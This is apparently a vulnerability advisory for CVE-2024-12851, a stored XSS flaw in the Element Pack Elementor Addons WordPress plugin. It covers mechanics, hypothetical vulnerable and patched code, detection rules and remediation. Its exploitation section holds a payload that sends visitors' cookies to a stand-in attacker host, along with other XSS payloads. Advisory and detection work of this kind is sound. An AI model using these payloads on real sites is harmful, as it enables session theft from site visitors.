CVE-2024-12851

Executive Summary

CVE-2024-12851 is a Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Elementor Addons plugin for WordPress, developed by Bdthemes. The flaw resides in the custom_attributes parameter of the Cookie Consent Widget, affecting all versions up to and including 5.10.14. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload, leading to potential session hijacking, data theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The CVSS score of 6.4 (Medium) reflects the need for authenticated access but the potential for significant impact due to the stored nature of the attack. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin installations and monitor for updates from Bdthemes. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Contributor-level access or higher
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerability impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. While the attack requires authentication, the low complexity and potential for widespread impact on WordPress sites make it a significant concern for multi-user installations.

Deep Dive & Mechanics

The vulnerability exists in the Cookie Consent Widget of the Element Pack Elementor Addons plugin. The widget allows administrators to configure custom attributes for the consent banner via the custom_attributes parameter. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and rendering it in the frontend.

Attack Flow:

1. An authenticated attacker with Contributor-level access or higher navigates to the Elementor editor.
2. The attacker adds the Cookie Consent Widget to a page or template.
3. In the widget settings, the attacker injects a malicious JavaScript payload into the custom_attributes field, e.g., onmouseover="alert('XSS')".
4. The plugin stores the payload without sanitization.
5. When any user (including administrators) visits the page, the payload executes in the context of the victim’s browser.

Root Cause: The custom_attributes parameter is not filtered for dangerous HTML attributes or event handlers. The plugin likely uses esc_attr() or similar functions but fails to strip event handlers like onmouseover, onclick, etc.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example from plugin source):

// In widget class
public function render() {
    $settings = $this->get_settings_for_display();
    $custom_attributes = $settings['custom_attributes'];
    // Direct output without sanitization
    echo '<div ' . $custom_attributes . '>...</div>';
}

Patched Code (expected fix):

public function render() {
    $settings = $this->get_settings_for_display();
    $custom_attributes = $settings['custom_attributes'];
    // Sanitize to allow only safe attributes
    $allowed_attributes = ['class', 'id', 'style', 'data-*'];
    $sanitized = wp_kses_hair($custom_attributes, $allowed_attributes);
    echo '<div ' . $sanitized . '>...</div>';
}

Key Difference: The patched version uses wp_kses_hair() or similar WordPress functions to strip dangerous attributes and event handlers, ensuring only safe attributes are rendered.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress installation with Element Pack plugin version <= 5.10.14
• User account with Contributor-level access or higher

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add the Cookie Consent Widget to the page.
4. In the widget settings, locate the custom_attributes field.
5. Inject a payload such as:

   onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"
   

6. Save and publish the page.
7. When any user hovers over the cookie consent banner, their cookies are exfiltrated.

Alternative Payloads:

• onclick="alert('XSS')"
• onfocus="eval(atob('...'))" (base64-encoded script)

Blue Team (Defensive)

Detection:

• Monitor for unusual custom_attributes values in Elementor widget settings.
• Look for pages containing event handlers (e.g., onmouseover, onclick) in the rendered HTML.
• Use web application firewalls (WAF) to block common XSS patterns.

Mitigation:

• Disable the Cookie Consent Widget until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; plugin files may vary)
• Network Indicators:
  • Outbound requests to attacker-controlled domains from WordPress admin pages.
  • HTTP requests containing custom_attributes with event handlers.
• Log Entries:
  • WordPress debug log entries showing unsanitized input in widget settings.
  • Web server logs with onmouseover, onclick, or similar patterns in POST data.
• Database Indicators:
  • Rows in wp_postmeta with meta_key containing _elementor_data and meta_value including malicious attributes.

Detection Engineering

YARA Rule

rule CVE_2024_12851_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Element Pack Cookie Consent Widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12851"
    strings:
        $payload1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $payload2 = /javascript\s*:/ nocase
        $payload3 = /<script[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-12851 Stored XSS in Element Pack Cookie Consent Widget
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3a1d9f0e7c
status: experimental
description: Detects attempts to exploit stored XSS via custom_attributes parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'custom_attributes'
        cs-uri-query|re: '(on\w+=|javascript:|<script)'
    condition: selection
falsepositives:
    - Legitimate use of custom attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12851 Stored XSS Attempt"; flow:to_server,established; content:"custom_attributes"; http_client_body; pcre:"/(on\w+=|javascript:|<script)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Cookie Consent Widget in Element Pack settings until a patch is released.
2. Restrict user roles – only grant Contributor access to trusted users.
3. Apply virtual patching via WAF rules to block XSS payloads in custom_attributes.

Long-term Fix:

• Monitor the Bdthemes plugin repository for an update (version > 5.10.14).
• Once patched, update the plugin immediately.
• Review all pages and posts for injected malicious content.

Workaround:

• Use a different cookie consent plugin that is actively maintained and patched.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert